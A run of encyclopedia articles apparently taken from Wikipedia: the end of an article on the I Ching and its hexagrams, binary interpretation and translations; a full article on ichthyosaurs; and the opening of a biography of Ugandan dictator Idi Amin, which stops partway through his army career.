                    	39. || Limping (蹇 jiǎn)

                    	Obstruction

                    	Halting, Hardship
                  


                  
                    	40. || Taking-Apart (解 xi)

                    	Deliverance

                    	Liberation, Solution
                  


                  
                    	41. ||| Diminishing (損 sǔn)

                    	Decrease

                    	Decrease
                  


                  
                    	42. ||| Augmenting (益 y)

                    	Increase

                    	Increase
                  


                  
                    	43. ||||| Parting (夬 gui)

                    	Breakthrough

                    	Separation
                  


                  
                    	44. ||||| Coupling (姤 gu)

                    	Coming to Meet

                    	Copulation
                  


                  
                    	45. || Clustering (萃 cu)

                    	Gathering Together

                    	Association, Companionship
                  


                  
                    	46. || Ascending (升 shēng)

                    	Pushing Upward

                    	Alienation, Rift
                  


                  
                    	47. ||| Confining (困 kn)

                    	Oppression

                    	Restriction
                  


                  
                    	48. ||| Welling (井 jǐng)

                    	The Well

                    	Replenishing, Renewal
                  


                  
                    	49. |||| Skinning (革 g)

                    	Revolution

                    	Abolishing the Old
                  


                  
                    	50. |||| Holding (鼎 dǐng)

                    	The Cauldron

                    	Establishing the New
                  


                  
                    	51. || Shake (震 zhn)

                    	Arousing

                    	Mobilizing
                  


                  
                    	52. || Bound (艮 gn)

                    	The Keeping Still

                    	Immobility
                  


                  
                    	53. ||| Infiltrating (漸 jin)

                    	Development

                    	Auspicious Outlook, Infiltration
                  


                  
                    	54. ||| Converting The Maiden (歸妹 guī mi)

                    	The Marrying Maiden

                    	Inauspicious Outlook, Caution
                  


                  
                    	55. ||| Abounding (豐 fēng)

                    	Abundance

                    	Goal Reached, Ambition Achieved
                  


                  
                    	56. ||| Sojourning (旅 lǚ)

                    	The Wanderer

                    	Travel
                  


                  
                    	57. |||| Ground (巽 xn)

                    	The Gentle

                    	Abandoning, Yielding
                  


                  
                    	58. |||| Open (兌 du)

                    	The Joyous

                    	Accessing
                  


                  
                    	59. ||| Dispersing (渙 hun)

                    	Dispersion

                    	Dispersal
                  


                  
                    	60. ||| Articulating (節 ji)

                    	Limitation

                    	Regulation
                  


                  
                    	61. |||| Centre Confirming (中孚 zhōng f)

                    	Inner Truth

                    	Staying Focused, Avoid Misrepresentation
                  


                  
                    	62. || Small Exceeding (小過 xiǎo gu)

                    	Small Preponderance

                    	Transition, Temporary Stage
                  


                  
                    	63. ||| Already Fording (既濟 j j)

                    	After Completion

                    	Completion
                  


                  
                    	64. ||| Not-Yet Fording (未濟 wi j)

                    	Before Completion

                    	Incompletion
                  

                

              
            

          


          The hexagrams, though, are mere mnemonics for the philosophical concepts embodied in each one. The philosophy centres around the ideas of balance through opposites and acceptance of change.


          


          Unicode


          In Unicode, monograms cover code points U+268A to U+268B, digrams cover code points U+268C to U+268F, trigrams cover code points U+2630 to U+2637, hexagram symbols cover code points U+4DC0 to U+4DFF (19904  19967).


          Tai Xuan Jing( 太玄) digrams cover code points U+1D301 to U+1D305, tetragrams cover code points U+1D306 to U+1D356. The monograms cover code points U+1D300 (earth), U+268A (yang), U+268B (yin).


          


          Philosophy


          The hexagrams are built from gradations of binary expressions based on yin and yang. They consist of: old yang, old yin, young yang or young yin (see the divination paragraph below) Yin and yang, while common expressions associated with many schools of classical Chinese culture, are especially associated with the Taoists.


          Another view holds that the I Ching is primarily a Confucianist ethical or philosophical document. This view is based upon the following:


          
            	The Wings or Appendices are attributed to Confucius.


            	The study of the I Ching was required as part of the Civil Service Exams in the period that these exams only studied Confucianist texts.


            	It is one of the Five Confucian Classics.


            	It does not appear in any surviving editions of the Daozang.


            	The major commentaries were written by Confucianists, or Neo-Confucianists.


            	Taoist scripture avoids, even mocks, all attempts at categorizing the world's myriad phenomena and forming a static philosophy.


            	Taoists venerate the non-useful. The I Ching could be used for good or evil purposes.

          


          Both views may be seen to show that the I Ching was at the heart of Chinese thought, serving as a common ground for the Confucian and Taoist schools. Partly forgotten due to the rise of Chinese Buddhism during the Tang dynasty, the I Ching returned to the attention of scholars during the Song dynasty. This was concomitant with the reassessment of Confucianism by Confucians in the light of Taoist and Buddhist metaphysics, and is known in the West as Neo-Confucianism. The book, unquestionably an ancient Chinese scripture, helped Song Confucian thinkers to synthesize Buddhist and Taoist cosmologies with Confucian and Mencian ethics. The end product was a new cosmogony that could be linked to the so-called lost Tao of Confucius and Mencius.


          


          Binary sequence


          In his article Explication de l'Arithmtique Binaire (1703) Gottfried Leibniz writes that he has found in the hexagrams a base for claiming the universality of the binary numeral system. He takes the layout of the combinatorial exercise found in the hexagrams to represent binary sequences, so that  would correspond to the binary sequence 000000 and | would be 000001, and so forth.


          The binary arrangement of hexagrams is associated with the famous Chinese scholar and philosopher Shao Yung (a neo-Confucian and Taoist) in the 11th century. He displayed it in two different formats, a circle, and a rectangular block. Thus, he clearly understood the sequence represented a logical progression of values. However, while it is true that these sequences do represent the values 0 through 63 in a binary display, there is no evidence that Shao understood that the numbers could be used in computations such as addition or subtraction.


          It should be noted that Shao Yung had been attributed with the original Segregation Table of the symbols of the book of changes Fu-Hsi Liu-shih-ssu Kua Tzhu Hsu from Chu Hsi's Chou I Pen I Thu Shou (reproduced in Hu Wei's I Thu Ming Pien ch.7, pp 2b,3a and elsewhere).


          This Segregation Table of yin/yang symbolism was derived from a 12th century document. It sets forth the formulation of the sixty-four hexagrams in a diagrammatic manner. Here the inherent yin/yang symbolism associated with each hexagram is represented by black and white squares, where each row of spaces represents an individual line of the sixty-four hexagrams.


          The top row represents Line 6, and consists of 32 yin and yang spaces.


          The 2nd row from the top, Line 5 consists of 16 yin and yang spaces.


          The 3rd row from the top, Line 4 consists of 8 yin and yang spaces.


          The 4th row from the top, Line 3 consists of 4 yin and yang spaces.


          The 5th row from the top, Line 2 consists of 2 yin and yang spaces.


          The 6th row from the top, Line 1 consist of 1 yin and yang space.


          If one considers each hexagram as a column of yin and yang spaces, the individual lines of each hexagram can be easily determined from the diagram.


          Recent research The I Ching Project by John Compton has indicated that this segregation table by Shou Yung has been derived from the much earlier Fu Hsi's Diagram of the derivation of the sixty-four hexagrams. This is probably the earliest example of yin/yang symbolism. His in-depth mathematical analysis suggests that the Ma-Wang-Tui(2nd century BC) arrangement of hexagrams identification numbers is the original I Ching hexagram arrangement.


          The I Ching and the Binary Code relationship may be deduced from the "Lines" section, incorporated within the Commentaries of the I Ching, where the interpretation and meaning of each hexagram oracle is usually given. Each particular line of the hexagram has a significant meaning. The explanation commences with a sentence, which describes the respective yin or yang component of the hexagram line together with its position within the hexagram symbol, i.e. "Six in the Beginning......." or "Nine at the Top....." etc.(Yin lines are represented by the number 6, and yang lines by the number 9).


          In this manner, a unique numerical yin/yang code has been assigned to each individual hexagram symbol.


          For Example, consider the "Lines" of hexagram No.1 - Ch'ien / The Creative - this is represented by the following sentences:


          Nine in the beginning:


          Nine in the second place:


          Nine in the third place:


          Nine in the fourth place:


          Nine in the fifth place:


          Nine at the top.


          Clearly, these sentences refer to yang(unbroken)line components represented by the number 9.


          Similarly, we can consider the "Lines" of hexagram No.2 - K'un - The Receptive - represented by the following sentences:


          Six in the beginning:


          Six in the second place:


          Six in the third place:


          Six in the fourth place:


          Six in the fifth place:


          Six at the top.


          These sentences refer to yin(broken)line components represented by the number 6.


          This yin/yang code has mystified scholars and researchers for many centuries. However, Gottfried Leibniz realized that this numerical symbolic code represented a binary coded system based on the multiplication "powers" of the number 2. Where number 9 and 6, respectively represent the binary values of 1, and 0 (Zero).


          In essence, the modern day binary code consists of a pattern of numbers formed from numbers 1 and 0.


          Thus, the I Ching's yin/yang code can therefore be converted into the modern day binary code by assigning the binary value of 0 (Zero) to the YIN hexagram component(represented by the line value of 6), and assigning the binary value of 1 to the YANG hexagram component (represented by the line value of 9).


          The binary code devised by Leibniz is based on the "powers" of the number 2.


          i.e.,

          
  20 = 1


          
  21 = 2 x 1 = 2


          
  22 = 2 x 2 = 4


          
  23 = 2 x 2 x 2 = 8


          
  24 = 2 x 2 x 2 x 2 = 16


          
  25 = 2 x 2 x 2 x 2 x 2 = 32



          These binary values are assigned in this particular order:

          
  25 : 24 : 23 : 22 : 21 : 20



          The highest value is assigned to the bottom hexagram line, whilst the lowest value is assigned to the top hexagram line.


          In this manner the I Ching's symbolic code can be converted into the binary code. Thus, the numerical denary value for each hexagram may be determined by adding the respective binary numerical values for each YANG hexagram line.


          It should be noted, that there is sufficient evidence to show that the ancient Chinese mathematicians knew the mathematical methodology of the binary code, as it is graphically portrayed in the Mt.Meru "Holy Mountain" diagram c.200BC.


          Reference - The I Ching Project - The I Ching Key - Volume 1 - The Secret Computer of the Ancient Gods ISBN 978-0-9554482-0-1.


          


          The Symbolic and Numerical Language


          The oracular interpretation of the symbolic language based on trigram symbols formed from yang and yin components is well known. However, the inherent numerical language of line change and non-change is relatively unknown.


          When the translated text reads "Nine in the beginning means...." this is the equivalent of saying: "When the positive line in the first place is represented by the number 9, it has the following meaning.....". If, on the other hand, the line is represented by the number 7, it is disregarded in interpreting the oracle. The same principle holds for lines represented by the numbers 6 and 8 respectively.


          Thus, line transformation (change) or non-transformation (non-change) can be represented numerically, as follows:


          A POSITIVE(unbroken line) transforming into a NEGATIVE (broken line) = 9; A POSITIVE (unbroken line) transforming into a POSITIVE (unbroken line) = 7; A NEGATIVE (broken line) transforming into a POSITIVE (unbroken line) = 6; A NEGATIVE (broken line) transforming into a NEGATIVE (broken line) = 8;


          This changes the ancient symbolic linear language of the I Ching into a simple numerical language that enables the practitioner to created sixteen numerical codes, which consist of three numbers, from each circular arrangement of eight trigrams.


          John C. Compton suggests that these numerical codes represent specific codons of the Genetic Code.


          


          Divination


          The I Ching has long been used as an oracle and many different ways coexist to cast a reading, i.e., a hexagram, with its dynamic relationship to others. In China the I Ching had two distinct functions. The first was as a compendium and classic of ancient cosmic principles. The second function was that of divination text. As a divination text the world of the I Ching was that of the marketplace fortune teller and roadside oracle. These individuals served the illiterate peasantry. The educated Confucian elite in China were of an entirely different disposition. The future results of our actions were a function of our personal virtues. The Confucian literati actually had little use for the I Ching as a work of divination. In the collected works of the countless educated literati of ancient China there are actually few references to the I Ching as a divination text. Any eyewitness account of traditional Chinese society, such as S. Wells Williams The Middle Kingdom, and many others, can clarify this very basic distinction. Williams tells us of the I Ching, "The hundred of fortune- tellers seen in the streets of Chinese towns, whose answers to their perplexed customers are more or less founded on these cabala, indicate their influence among the illiterate; while among scholars, who have long since conceded all divination to be vain..." (The Middle Kingdom, vol. 1, p. 632)


          


          Symbolism


          
            [image: The flag of South Korea, with Taegeuk in the centre with four trigrams representing Heaven, Water, Earth, and Fire (beginning top left and proceeding clockwise).]

            
              The flag of South Korea, with Taegeuk in the centre with four trigrams representing Heaven, Water, Earth, and Fire (beginning top left and proceeding clockwise).
            

          


          
            [image: Flag of the Empire of Vietnam used Trigram Li - Fire]

            
              Flag of the Empire of Vietnam used Trigram Li - Fire
            

          


          The Flag of South Korea contains the Taijitu symbol, or tijt, (yin and yang in dynamic balance, called taegeuk in Korean), representing the origin of all things in the universe. The taegeuk is surrounded by four of the eight trigrams, starting from top left and going clockwise: Heaven, Water, Earth, Fire.


          The flag of the Empire of Vietnam used the Li (Fire) trigram and was known as cờ quẻ Ly (Li trigram flag) because the trigram represents South. Its successor the Republic of Vietnam connected the middle lines, turning it into the Qin (Heaven) trigram. (see Flag of the Republic of Vietnam).


          


          Influence on Western culture


          The I Ching has influenced countless Chinese philosophers, artists and even businesspeople throughout history. In more recent times, several Western artists and thinkers have used it in fields as diverse as psychoanalysis, music, film, drama, dance, eschatology, and fiction writing.


          


          Commentary


          Early Chinese civilization, as with western civilization, accepted various pre-scientific explanations of natural events, and the I Ching has been cited as an example of this. As a manual of divination it interpreted natural events through readings based on symbols expressed in the trigrams and hexagrams. Thus any observation in nature could be interpreted as to its significance and cause. This might be compared to the Roman practice of basing decisions on the state of animals' livers. While usually sympathetic to the claims of Chinese culture and science, Joseph Needham, in his second volume of Science and Civilization in China (p. 311) stated: "Yet really they [Han dynasty scholars] would have been wiser to tie a millstone about the neck of the I Ching and cast it into the sea."


          Abraham (1999) states that Confucius' ten commentaries, called the Ten Wings, transformed the I Ching from a divination text into a "philosophical masterpiece." It was this form of the I Ching that inspired the Taoists, Chuang Tzu and Lao Tzu. It has influenced Confucians and other philosophers and scientists ever since. However, Helmut Wilhelm in his Change/Eight Lectures on the I Ching, cautions, "It can no longer be said with certainty whether any of the material-and if any, how much-comes from Confucius' own hand" (p. 12).


          


          Translations


          
            	Anthony, Carol K. & Moog, Hanna. I Ching: The Oracle of the Cosmic Way. Stow, Massachusetts: Anthony Publishing Company, Inc., 2002. ISBN 1-890764-00-0. The publisher's internet address is www.ichingoracle.com.


            	Balkin, Jack M. 2002. The Laws of Change: I Ching and the Philosophy of Life. New York: Schocken Books. ISBN 0-8052-4199-X


            	Benson, Robert G. 2003. I Ching for a New Age: The Book of Answers for Changing Times. New York: Square One Publishers.


            	Blofeld, J. 1965. The Book of Changes: A New Translation of the Ancient Chinese I Ching. New York: E. P. Dutton.


            	Cornelius, J Edward & Cornelius, Marlene (1998) Y King: A Beastly Book of Changes. Red Flame: A Thelemic Research Journal (5) 1998. This book contains Aleister Crowley's notes and comments on the Yi Jing.


            	Huang, A. 1998. The Complete I Ching: the Definitive Translation From the Taoist Master Alfred Huang. Rochester, N.Y: Inner Traditions.


            	Hua-Ching Ni. 1999. I Ching: The Book of Changes and the Unchanging Truth. (2nd edition). Los Angeles: Seven Star Communications.


            	Karcher, Stephen, 2002. I Ching: The Classic Chinese Oracle of Change: The First Complete Translation with Concordance. London: Vega Books. ISBN 1-84333-003-2. The publisher can be found at www.chrysalisbooks.co.uk. This version manages to pull together a wide variety of sources and interpretations into a coherent, intelligible whole which is generally easier to understand than the Wilhelm/Baynes edition. Especially interesting are its multiple translations of the Chinese words used and the concordance at the end.


            	Legge, J. 1964. I Ching: Book of Changes. With introduction and study guide by Ch'u Chai and Winberg Chai. New York: Citadel Press.


            	I Ching, The Classic of Changes, The first English translation of the newly discovered second-century B.C. Mawangdui texts by Edward L. Shaughnessy, Ballantine, 1996. ISBN 0-345-36243-8.


            	Wilhelm, R. & Baynes, C., 1967. The I Ching or Book of Changes, With foreword by Carl Jung. 3rd. ed., Bollingen Series XIX. Princeton NJ: Princeton University Press (1st ed. 1950).


            	Lynn, Richard J. 1994, The Classic of Changes, A New Translation of the I Ching as Interpreted by Wang Bi. New York: Columbia University Press. ISBN 0-231-08294-0


            	Wei, Wu 2005. I Ching, The Book Of Answers Power Press ISBN 0-943015-41-3 New revised edition, interpreted by Wu Wei. Appears to follow the Wilhelm and Baynes translation real well, leaving out the sometimes confusing mechanics. Would be handy to use in conjunction with Wilhelm and Baynes when divining for the lay person.


            	Cheng Yi translated by Cleary, Thomas 1988, 2003. I Ching: The Book of Change Shambala Library, Boston, London ISBN 1-59030-015-7
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              	Ichthyosauria

              Fossil range: Middle Triassic - Late Cretaceous
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                  Ichthyosauria, Holzmaden, Museum Wiesbaden
                

              
            


            
              	Scientific classification
            


            
              	
                
                  
                    	Kingdom:

                    	Animalia

                  


                  
                    	Phylum:

                    	Chordata

                  


                  
                    	Class:

                    	Sauropsida

                  


                  
                    	Subclass:

                    	Diapsida?

                  


                  
                    	Superorder:

                    	Ichthyopterygia

                  


                  
                    	Order:

                    	Ichthyosauria

                    Blainville, 1835
                  

                

              
            


            
              	Families
            


            
              	
                Ichthyosauridae

                Leptonectidae

                Mixosauridae

                Ophthalmosauridae

                Shastasauridae

                Stenopterygiidae

                Teretocnemidae

              
            

          


          Ichthyosaurs (Greek for 'fish lizard' -  meaning 'fish' and  meaning 'lizard') were giant marine reptiles that resembled fish and dolphins. Ichthyosaurs thrived during much of the Mesozoic era; based on fossil evidence, they first appeared approximately 230 million years ago ( Mya) and disappeared about 90 million years ago, about 25 million years before the dinosaurs became extinct. During the middle Triassic Period, ichthyosaurs evolved from as-yet unidentified land reptiles that moved back into the water, in a development parallel to that of modern-day dolphins and whales. They were particularly abundant in the Jurassic Period, until they were replaced as the top aquatic predators by plesiosaurs in the Cretaceous Period. They belong to the order known as Ichthyosauria or Ichthyopterygia ('fish flippers' - a designation introduced by Sir Richard Owen in 1840, although the term is now used more for the parent clade of the Ichthyosauria).


          


          Description


          Ichthyosaurs averaged 2 to 4 meters in length (although a few were smaller, and some species grew much larger), with a porpoise-like head and a long, toothed snout. Built for speed, like modern tuna, some ichthyosaurs appear also to have been deep divers, like some modern whales (Motani, 2000). It has been estimated that ichthyosaurs could swim at speeds up to 40 km/h (25 mph). Similar to modern cetaceans such as whales and dolphins, they were air-breathing and also were viviparous (some adult fossils have even been found containing fetuses). Although they were reptiles and descended from egg-laying ancestors, viviparity is not as unexpected as it first appears. All air-breathing marine creatures must either come ashore to lay eggs, like turtles and some sea snakes, or else give birth to live young in surface waters, like whales and dolphins. Given their streamlined bodies, heavily adapted for fast swimming, it would have been difficult for ichthyosaurs to scramble successfully onto land to lay eggs.


          
            [image: Historical Ichthyosaur illustration, 1863.]

            
              Historical Ichthyosaur illustration, 1863.
            

          


          According to weight estimates by Ryosuke Motani a 2.4 meter (8 ft) Stenopterygius weighed around 163 to 168 kg (360 to 370 lb), whilst a 4.0 meter (13 ft) Ophthalmosaurus icenicus weighed 930 to 950 kg (about a ton).


          Although ichthyosaurs looked like fish, they were not. Biologist Stephen Jay Gould said the ichthyosaur was his favorite example of convergent evolution, where similarities of structure are analogous not homologous, for this group:


          
            [image: Drawing of an Ichthyosaur skeleton.]

            
              Drawing of an Ichthyosaur skeleton.
            

          


          
            [image: Fossil of a young Ichthyosaur from the zoological museum of Hamburg.]

            
              Fossil of a young Ichthyosaur from the zoological museum of Hamburg.
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              Ichthyosaur 'paddle' ( Charmouth Heritage Coast Centre).
            

          


          
            converged so strongly on fishes that it actually evolved a dorsal fin and tail in just the right place and with just the right hydrological design. These structures are all the more remarkable because they evolved from nothing  the ancestral terrestrial reptile had no hump on its back or blade on its tail to serve as a precursor.

          


          
            [image: Temnodontosaurus platyodon]

            
              Temnodontosaurus platyodon
            

          


          In fact the earliest reconstructions of ichthyosaurs omitted the dorsal fin, which had no hard skeletal structure, until finely-preserved specimens recovered in the 1890s from the Holzmaden lagersttten in Germany revealed traces of the fin. Unique conditions permitted the preservation of soft tissue impressions.


          Ichthyosaurs had fin-like limbs, which were possibly used for stabilisation and directional control, rather than propulsion, which would have come from the large shark-like tail. The tail was bi-lobed, with the lower lobe being supported by the caudal vertebral column, which was "kinked" ventrally to follow the contours of the ventral lobe.


          Apart from the obvious similarities to fish, the ichthyosaurs also shared parallel developmental features with dolphins. This gave them a broadly similar appearance, possibly implied similar activity and presumably placed them broadly in a similar ecological niche.


          For their food, many of the fish-shaped ichthyosaurs relied heavily on ancient cephalopod kin of squids called belemnites. Some early ichthyosaurs had teeth adapted for crushing shellfish. They also most likely fed on fish, and a few of the larger species had heavy jaws and teeth that indicated they fed on smaller reptiles. Ichthyosaurs ranged so widely in size, and survived for so long, that they are likely to have had a wide range of prey. Typical ichthyosaurs have very large eyes, protected within a bony ring, suggesting that they may have hunted at night.


          


          History of discoveries


          
            [image: Ichthyosaur mounted skeleton (Charmouth Heritage Coast Centre).]

            
              Ichthyosaur mounted skeleton ( Charmouth Heritage Coast Centre).
            

          


          The genus had first been described in 1699 from fossil fragments discovered in Wales.


          The first fossil vertebrae were published twice in 1708 as tangible mementos of the Universal Deluge. The first complete ichthyosaur fossil was found in 1811 by Mary Anning in Lyme Regis, along what is now called the Jurassic Coast. She subsequently discovered three separate species.


          In 1905, the Saurian Expedition led by John C. Merriam of the University of California and financed by Annie Alexander, found 25 specimens in central Nevada, which during the Triassic was under a shallow ocean. Several of the specimens are now in the collection of the University of California Museum of Paleontology. Other specimens are embedded in the rock and visible at Berlin-Ichthyosaur State Park in Nye County. In 1977 the Triassic ichthyosaur Shonisaurus became the State Fossil of Nevada. Nevada is the only state to possess a complete skeleton, 55 ft (17 m) of this extinct marine reptile. In 1992, Canadian ichthyologist Dr. Elizabeth Nicholls (Curator of Marine Reptiles at the Royal Tyrrell {"tur ell"} Museum) uncovered the largest fossil specimen ever, a 23m (75')-long example.


          


          Evolutionary history
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              A skeleton at the American Museum of Natural HIstory.
            

          


          The earliest ichthyosaurs, looking more like finned lizards than the familiar fish or dolphin forms, are known from the Early and Early-Middle ( Olenekian and Anisian) Triassic strata of Canada, China, Japan, and Spitsbergen in Norway. These primitive forms included the genera Chaohusaurus, Grippia, and Utatsusaurus.


          
            [image: Grippia longirostris from early Triassic of Spitsbergen]

            
              Grippia longirostris from early Triassic of Spitsbergen
            

          


          These very early proto-ichthyosaurs, which are now classified as Ichthyopterygia rather than as ichthyosaurs proper (Motani 1997, Motani et al. 1998), quickly gave rise to true ichthyosaurs sometime in the latest Early Triassic or earliest Middle Triassic. These later diversified into a variety of forms, including the sea-serpent like Cymbospondylus, which reached 10 meters, and smaller more typical forms like Mixosaurus. By the Late Triassic, ichthyosaurs consisted of both classic Shastasauria and more advanced, "dolphin"-like Euichthyosauria ( Californosaurus, Toretocnemus) and Parvipelvia ( Hudsonelpidia, Macgowania). Experts disagree over whether these represent an evolutionary continum, with the less specialised shastosaurs a paraphyletic grade that was evolving into the more advanced forms (Maisch and Matzke 2000), or whether the two were separate clades that evolved from a common ancestor earlier on (Nicholls and Manabe 2001).


          During the Carnian and Norian, shastosaurs reached huge sizes. Shonisaurus popularis, known from a number of specimens from the Carnian of Nevada, was 15 meters long. Norian shonisaurs are known from both sides of the Pacific. Himalayasaurus tibetensis and Tibetosaurus (probably a synonym) have been found in Tibet. These large (10 to 15 meters long) ichthyosaurs probably belong to the same genus as Shonisaurus (Motani et al, 1999; Lucas, 2001, pp.117-119). While the gigantic Shonisaurus sikanniensis, whose remains were found in the Pardonet formation of British Columbia by Elizabeth Nicholls, reached as much as 21 meters in length - the largest marine reptile known to date.


          These giants (along with their smaller cousins) seemed to have disappeared at the end of the Norian. Rhaetian (latest Triassic) ichthyosaurs are known from England, and these are very similar to those of the Early Jurassic. Like the dinosaurs, the ichthyosaurs and their contemporaries the plesiosaurs survived the end-Triassic extinction event, and immediately diversified to fill the vacant ecological niches of the earliest Jurassic.
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              A historical restoration of Ichthyosaurus by Heinrich Harder.
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              Platypterigius longmani
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              Yasykovia yasikovi from Upper Jurassic (Tithonian) of Volga region
            

          


          The Early Jurassic, like the Late Triassic, was the heyday of the ichthyosaurs, which are represented by four families and a variety of species, ranging from one to ten meters in length. Genera include Eurhinosaurus, Ichthyosaurus, Leptonectes, Stenopterygius, and the large predator Temnodontosaurus, along with the persistently primitive Suevoleviathan, which was little changed from its Norian ancestors. All these animals were streamlined, dolphin-like forms, although the more primitive animals were perhaps more elongated than the advanced and compact Stenopterygius and Ichthyosaurus.


          Ichthyosaurs were still common in the Middle Jurassic, but had now decreased in diversity. All belonged to the single clade Ophthalmosauria. Represented by the 4 meter long Ophthalmosaurus and related genera, they were very similar to Ichthyosaurus, and had attained a perfect "tear-drop" streamlined form. The eyes of Ophthalmosaurus were huge, and it is likely that these animals hunted in dim and deep water (Motani 2000).


          Ichthyosaurs seemed to decrease in diversity even further with the Cretaceous. Only a single genus is known, Platypterygius, and although it had a worldwide distribution, there was little diversity species-wise. This last ichthyosaur genus became extinct during the Cenomanian-Turonian extinction event early in the Late Cretaceous (as did the pliosaurs). Interestingly, less hydrodynamically efficient animals like mosasaurs and long-necked plesiosaurs flourished. It could be that the ichthyosaurian over-specialisation was a contributing factor to their extinction, possibly being unable to 'keep up' with the fast swimming and highly evasive new teleost fishes, which had become dominant at this time, against which the sit-and-wait ambush strategies of the mosasaurs proved superior (Lingham-Soliar 1999).


          


          Taxonomy of species


          
            	Order ICHTHYOSAURIA


            	Family Mixosauridae


            	Suborder Merriamosauriformes

              
                	Guanlingsaurus


                	(unranked) Merriamosauria

                  
                    	Family Shastasauridae


                    	Cymbospondylus


                    	
                      Infraorder Euichthyosauria ("true ichthyosaurs")

                      
                        	Family Teretocnemidae


                        	(Unranked) Parvipelvia ("small pelves")

                          
                            	Macgovania


                            	Hudsonelpidia


                            	Suevoleviathan


                            	Temnodontosaurus


                            	Family Leptonectidae


                            	
                              Infraorder Thunnosauria ("tuna lizards")

                              
                                	Family Stenopterygiidae


                                	Family Ichthyosauridae


                                	Family Ophthalmosauridae

                              

                            

                          

                        

                      

                    

                  

                

              

            

          


          


          In popular culture


          
            	Ichthyosaurus is one of the prehistoric creatures mentioned in Jules Verne's book Journey to the Centre of the Earth, in which it fights with a Plesiosaurus. However, in the book it is described as being much, much larger than it was in reality. Ironically, in the book the Ichthyosaurus wins the fight against the Plesiosaurus when the Plesiosaurus replaced the Ichthyosaurs as top marine predators in the Cretaceous period.

          


          
            	The large aquatic monster from the video game Half-Life is named Ichthyosaur.

          


          
            Retrieved from " http://en.wikipedia.org/wiki/Ichthyosaur"
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                  3rd President of Uganda
                

              
            


            
              	Inoffice

              19711979
            


            
              	VicePresident

              	Mustafa Adrisi
            


            
              	Precededby

              	Milton Obote
            


            
              	Succeededby

              	Yusufu Lule
            


            
              	
                

              
            


            
              	Born

              	1924

              Koboko or Kampala
            


            
              	Died

              	August 16, 2003

              Jeddah, Saudi Arabia
            


            
              	Nationality

              	Ugandan
            


            
              	Spouse

              	Malyamu Amin (divorced)

              Kay Amin (divorced)

              Nora Amin (divorced)

              Madina Amin

              Sarah Amin
            


            
              	Profession

              	Military officer
            


            
              	Religion

              	Islam
            

          


          Idi Amin Dada (mid-1920s  16 August 2003), commonly known as Idi Amin, was a military dictator and the President of Uganda from 1971 to 1979. Amin joined the British colonial regiment, the King's African Rifles in 1946, and advanced to the rank of Major General and Commander of the Ugandan Army. He took power in a military coup in January 1971, deposing Milton Obote. His rule was characterized by human rights abuses, political repression, ethnic persecution, extra-judicial killings and the expulsion of Asians from Uganda. The number of people killed as a result of his regime is unknown; estimates from human rights groups range from 100,000 to 500,000.


          From 1977 to 1979, Amin titled himself as " His Excellency, President for Life, Field Marshal Al Hadji Doctor Idi Amin Dada, VC, DSO, MC, Lord of All the Beasts of the Earth and Fishes of the Seas and Conqueror of the British Empire in Africa in General and Uganda in Particular." In 1975  1976, despite opposition, Amin became the Chairman of the Organisation of African Unity, a pan-Africanist group designed to promote solidarity of the African states. During the 1977-1979 period, Uganda was appointed to the United Nations Commission on Human Rights.


          Dissent within Uganda, and Amin's attempt to annex the Kagera province of Tanzania in 1978, led to the Uganda-Tanzania War and the fall of his regime in 1979. Amin fled to Libya, before relocating to Saudi Arabia in 1981, where he died in 2003. Amin and his regime have been the subject of films and documentaries including General Idi Amin Dada: A Self Portrait (1974), Rise and Fall of Idi Amin (1980) and The Last King of Scotland (2006).


          


          Early life and military career


          Amin never wrote an autobiography or authorized any official account of his life. There are discrepancies as to when and where he was born. Most biographical sources hold that he was born in either Koboko or Kampala around 1925. According to Fred Guweddeko, a researcher at Makerere University, Idi Amin was the son of Andreas Nyabire (18891976). Nyabire, a member of the Kakwa ethnic group, converted from Roman Catholicism to Islam in 1910 and changed his name to Amin Dada. Abandoned by his father, Idi Amin grew up with his mother's family. Guweddeko states that Amin's mother was called Assa Aatte (19041970), an ethnic Lugbara and a traditional herbalist, who treated members of Buganda royalty, among others. Amin joined an Islamic school in Bombo in 1941, where he excelled in reciting the Qur'an. After a few years he left school and did odd jobs before being recruited to the army by a British colonial army officer.


          
            
              	Chronology of Amin's military promotions
            


            
              	
            


            
              	King's African Rifles
            


            
              	1946

              	Joins King's African Rifles
            


            
              	1947

              	Private
            


            
              	1952

              	Corporal
            


            
              	1954

              	Effendi ( Warrant Officer)
            


            
              	1961

              	First Ugandan Commissioned Officer, Lieutenant
            


            
              	
            


            
              	Uganda Army
            


            
              	1962

              	Captain
            


            
              	1963

              	Major
            


            
              	1964

              	Deputy Commander of the Army
            


            
              	1965

              	Colonel, Commander of the Army
            


            
              	1968

              	Major General
            


            
              	1971

              	Head of State

              Chairman of the Defence Council

              Commander-in-Chief of the armed forces

              Army Chief of Staff and Chief of Air Staff
            


            
              	1975

              	Field Marshal
            

          


          


          Colonial British army


          Amin joined the King's African Rifles (KAR) of the British Colonial Army in 1946 as an assistant cook. He claimed he was forced to join the Army during World War II and that he served in the Burma Campaign, but records indicate he was first enlisted after the war was concluded. He was transferred to Kenya for infantry service as a private in 1947 and served in the 21st KAR infantry battalion in Gilgil, Kenya, until 1949. That year, his unit was deployed to Somalia to fight the Somali Shifta rebels who were rustling cattle there. In 1952 his brigade was deployed against the Mau Mau rebels in Kenya. He was promoted to corporal the same year, then to sergeant in 1953..


          In 1954 Amin was made effendi ( warrant officer), the highest rank possible for a Black African in the colonial British army of that time. Amin returned to Uganda the same year, and in 1961 he was promoted to lieutenant, becoming one of the first two Ugandans to become commissioned officers. He was then assigned to quell the cattle rustling between Uganda's Karamojong and Kenya's Turkana nomads. In 1962 he was promoted to captain and then, in 1963, to major. The following year, he was appointed Deputy Commander of the Army.


          Amin was an active athlete during his time in the army. At 193 cm (6 ft 4 in), he was the Ugandan light heavyweight boxing champion from 1951 to 1960, and a swimmer and rugby player.


          


          Army commander


          In 1965 Prime Minister Milton Obote and Amin were implicated in a deal to smuggle ivory and gold into Uganda from the Democratic Republic of the Congo. The deal, as later alleged by General Nicholas Olenga, an associate of the former Congolese leader Patrice Lumumba, was part of an arrangement to help troops opposed to the Congolese government trade ivory and gold for arms supplies secretly smuggled to them by Amin. In 1966, Parliament demanded an investigation. Obote imposed a new constitution abolishing the ceremonial presidency held by Kabaka (King) Edward Mutesa II of Buganda, and declared himself executive president. He promoted Amin to colonel and army commander. Amin led an attack on the Kabaka's palace and forced Mutesa into exile to the United Kingdom, where he remained until his death in 1969.


